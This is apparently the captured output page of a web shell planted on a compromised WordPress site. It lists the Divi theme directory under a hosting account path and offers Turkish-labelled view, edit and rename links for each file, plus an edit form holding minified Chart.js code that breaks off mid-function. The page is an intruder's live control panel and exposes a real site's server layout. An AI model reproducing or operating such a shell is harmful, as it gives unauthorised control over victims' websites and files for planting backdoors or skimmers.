<b>Telegram iComsium Current root:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <br><b>Current path:</b> /home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi <hr><a href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes">..</a><br /><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">404.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/404.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">CREDITS.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/CREDITS.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">LICENSE.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/LICENSE.md">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">README.md</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/README.md">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/ai-app">ai-app</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">changelog.txt</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/changelog.txt">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/cloud">cloud</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">comments.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/comments.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/common">common</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/core">core</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/css">css</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/epanel">epanel</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">error_log</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/error_log">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/et-pagebuilder">et-pagebuilder</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">functions.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/functions.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/header.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/images">images</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/includes">includes</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">index.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/index.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/js">js</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/lang">lang</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/onboarding">onboarding</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">options_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/options_divi.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">page-template-blank.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page-template-blank.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">page.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/page.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">post_thumbnails_divi.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/post_thumbnails_divi.php">[Yeniden Adlandır]</a><br><a style="color:#00a;font-weight:bold;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/psd">psd</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">rtl.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/rtl.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">screenshot.jpg</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/screenshot.jpg">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">sidebar-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">sidebar.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/sidebar.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">single-et_pb_layout.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-et_pb_layout.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">single-project.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single-project.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">single.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/single.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">style-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">style-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">style-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">style-static-cpt-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">style-static-cpt.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-cpt.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">style-static-rtl.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static-rtl.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">style-static.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style-static.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">style.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">style.min.css</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/style.min.css">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">theme-after-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">theme-after-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">theme-after-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-after-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">theme-before-wrappers.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-before-wrappers.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">theme-footer.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-footer.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">theme-header.php</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme-header.php">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">theme.json</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/theme.json">[Yeniden Adlandır]</a><br><a style="color:#000;" href="?file=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">wpml-config.xml</a> | <a href="?view=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml" target="_blank">[Göster]</a> | <a href="?edit=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Düzenle]</a> | <a href="?rename=/home4/jrbprodu/public_html/website_d7f7f658/wp-content/themes/Divi/wpml-config.xml">[Yeniden Adlandır]</a><br><hr><h3>Dosya Düzenle: f71b458770038ea1978102214bd7a47f99710c1b</h3>
        <form method="POST">
            <textarea name="content" style="width:100%;height:300px;">!function(global,factory){&quot;object&quot;==typeof exports&amp;&amp;&quot;undefined&quot;!=typeof module?module.exports=factory():&quot;function&quot;==typeof define&amp;&amp;define.amd?define(&quot;core/chartjs-lazy&quot;,factory):(global=global||self).Chart=factory()}(window,(function(){&quot;undefined&quot;!=typeof globalThis?globalThis:&quot;undefined&quot;!=typeof window?window:&quot;undefined&quot;!=typeof global?global:&quot;undefined&quot;!=typeof self&amp;&amp;self;function commonjsRequire(){throw new Error(&quot;Dynamic requires are not currently supported by rollup-plugin-commonjs&quot;)}function createCommonjsModule(fn,module){return fn(module={exports:{}},module.exports),module.exports}var colorName={aliceblue:[240,248,255],antiquewhite:[250,235,215],aqua:[0,255,255],aquamarine:[127,255,212],azure:[240,255,255],beige:[245,245,220],bisque:[255,228,196],black:[0,0,0],blanchedalmond:[255,235,205],blue:[0,0,255],blueviolet:[138,43,226],brown:[165,42,42],burlywood:[222,184,135],cadetblue:[95,158,160],chartreuse:[127,255,0],chocolate:[210,105,30],coral:[255,127,80],cornflowerblue:[100,149,237],cornsilk:[255,248,220],crimson:[220,20,60],cyan:[0,255,255],darkblue:[0,0,139],darkcyan:[0,139,139],darkgoldenrod:[184,134,11],darkgray:[169,169,169],darkgreen:[0,100,0],darkgrey:[169,169,169],darkkhaki:[189,183,107],darkmagenta:[139,0,139],darkolivegreen:[85,107,47],darkorange:[255,140,0],darkorchid:[153,50,204],darkred:[139,0,0],darksalmon:[233,150,122],darkseagreen:[143,188,143],darkslateblue:[72,61,139],darkslategray:[47,79,79],darkslategrey:[47,79,79],darkturquoise:[0,206,209],darkviolet:[148,0,211],deeppink:[255,20,147],deepskyblue:[0,191,255],dimgray:[105,105,105],dimgrey:[105,105,105],dodgerblue:[30,144,255],firebrick:[178,34,34],floralwhite:[255,250,240],forestgreen:[34,139,34],fuchsia:[255,0,255],gainsboro:[220,220,220],ghostwhite:[248,248,255],gold:[255,215,0],goldenrod:[218,165,32],gray:[128,128,128],green:[0,128,0],greenyellow:[173,255,47],grey:[128,128,128],honeydew:[240,255,240],hotpink:[255,105,180],indianred:[205,92,92],indigo:[75,0,130],ivory:[255,255,240],khaki:[240,230,140],lavender:[230,230,250],lavenderblush:[255,240,245],lawngreen:[124,252,0],lemonchiffon:[255,250,205],lightblue:[173,216,230],lightcoral:[240,128,128],lightcyan:[224,255,255],lightgoldenrodyellow:[250,250,210],lightgray:[211,211,211],lightgreen:[144,238,144],lightgrey:[211,211,211],lightpink:[255,182,193],lightsalmon:[255,160,122],lightseagreen:[32,178,170],lightskyblue:[135,206,250],lightslategray:[119,136,153],lightslategrey:[119,136,153],lightsteelblue:[176,196,222],lightyellow:[255,255,224],lime:[0,255,0],limegreen:[50,205,50],linen:[250,240,230],magenta:[255,0,255],maroon:[128,0,0],mediumaquamarine:[102,205,170],mediumblue:[0,0,205],mediumorchid:[186,85,211],mediumpurple:[147,112,219],mediumseagreen:[60,179,113],mediumslateblue:[123,104,238],mediumspringgreen:[0,250,154],mediumturquoise:[72,209,204],mediumvioletred:[199,21,133],midnightblue:[25,25,112],mintcream:[245,255,250],mistyrose:[255,228,225],moccasin:[255,228,181],navajowhite:[255,222,173],navy:[0,0,128],oldlace:[253,245,230],olive:[128,128,0],olivedrab:[107,142,35],orange:[255,165,0],orangered:[255,69,0],orchid:[218,112,214],palegoldenrod:[238,232,170],palegreen:[152,251,152],paleturquoise:[175,238,238],palevioletred:[219,112,147],papayawhip:[255,239,213],peachpuff:[255,218,185],peru:[205,133,63],pink:[255,192,203],plum:[221,160,221],powderblue:[176,224,230],purple:[128,0,128],rebeccapurple:[102,51,153],red:[255,0,0],rosybrown:[188,143,143],royalblue:[65,105,225],saddlebrown:[139,69,19],salmon:[250,128,114],sandybrown:[244,164,96],seagreen:[46,139,87],seashell:[255,245,238],sienna:[160,82,45],silver:[192,192,192],skyblue:[135,206,235],slateblue:[106,90,205],slategray:[112,128,144],slategrey:[112,128,144],snow:[255,250,250],springgreen:[0,255,127],steelblue:[70,130,180],tan:[210,180,140],teal:[0,128,128],thistle:[216,191,216],tomato:[255,99,71],turquoise:[64,224,208],violet:[238,130,238],wheat:[245,222,179],white:[255,255,255],whitesmoke:[245,245,245],yellow:[255,255,0],yellowgreen:[154,205,50]},conversions=createCommonjsModule((function(module){var reverseKeywords={};for(var key in colorName)colorName.hasOwnProperty(key)&amp;&amp;(reverseKeywords[colorName[key]]=key);var convert=module.exports={rgb:{channels:3,labels:&quot;rgb&quot;},hsl:{channels:3,labels:&quot;hsl&quot;},hsv:{channels:3,labels:&quot;hsv&quot;},hwb:{channels:3,labels:&quot;hwb&quot;},cmyk:{channels:4,labels:&quot;cmyk&quot;},xyz:{channels:3,labels:&quot;xyz&quot;},lab:{channels:3,labels:&quot;lab&quot;},lch:{channels:3,labels:&quot;lch&quot;},hex:{channels:1,labels:[&quot;hex&quot;]},keyword:{channels:1,labels:[&quot;keyword&quot;]},ansi16:{channels:1,labels:[&quot;ansi16&quot;]},ansi256:{channels:1,labels:[&quot;ansi256&quot;]},hcg:{channels:3,labels:[&quot;h&quot;,&quot;c&quot;,&quot;g&quot;]},apple:{channels:3,labels:[&quot;r16&quot;,&quot;g16&quot;,&quot;b16&quot;]},gray:{channels:1,labels:[&quot;gray&quot;]}};for(var model in convert)if(convert.hasOwnProperty(model)){if(!(&quot;channels&quot;in convert[model]))throw new Error(&quot;missing channels property: &quot;+model);if(!(&quot;labels&quot;in convert[model]))throw new Error(&quot;missing channel labels property: &quot;+model);if(convert[model].labels.length!==convert[model].channels)throw new Error(&quot;channel and label counts mismatch: &quot;+model);var channels=convert[model].channels,labels=convert[model].labels;delete convert[model].channels,delete convert[model].labels,Object.defineProperty(convert[model],&quot;channels&quot;,{value:channels}),Object.defineProperty(convert[model],&quot;labels&quot;,{value:labels})}convert.rgb.hsl=function(rgb){var h,l,r=rgb[0]/255,g=rgb[1]/255,b=rgb[2]/255,min=Math.min(r,g,b),max=Math.max(r,g,b),delta=max-min;return max===min?h=0:r===max?h=(g-b)/delta:g===max?h=2+(b-r)/delta:b===max&amp;&amp;(h=4+(r-g)/delta),(h=Math.min(60*h,360))&lt;0&amp;&amp;(h+=360),l=(min+max)/2,[h,100*(max===min?0:l&lt;=.5?delta/(max+min):delta/(2-max-min)),100*l]},convert.rgb.hsv=function(rgb){var rdif,gdif,bdif,h,s,r=rgb[0]/255,g=rgb[1]/255,b=rgb[2]/255,v=Math.max(r,g,b),diff=v-Math.min(r,g,b),diffc=function(c){return(v-c)/6/diff+.5};return 0===diff?h=s=0:(s=diff/v,rdif=diffc(r),gdif=diffc(g),bdif=diffc(b),r===v?h=bdif-gdif:g===v?h=1/3+rdif-bdif:b===v&amp;&amp;(h=2/3+gdif-rdif),h&lt;0?h+=1:h&gt;1&amp;&amp;(h-=1)),[360*h,100*s,100*v]},convert.rgb.hwb=function(rgb){var 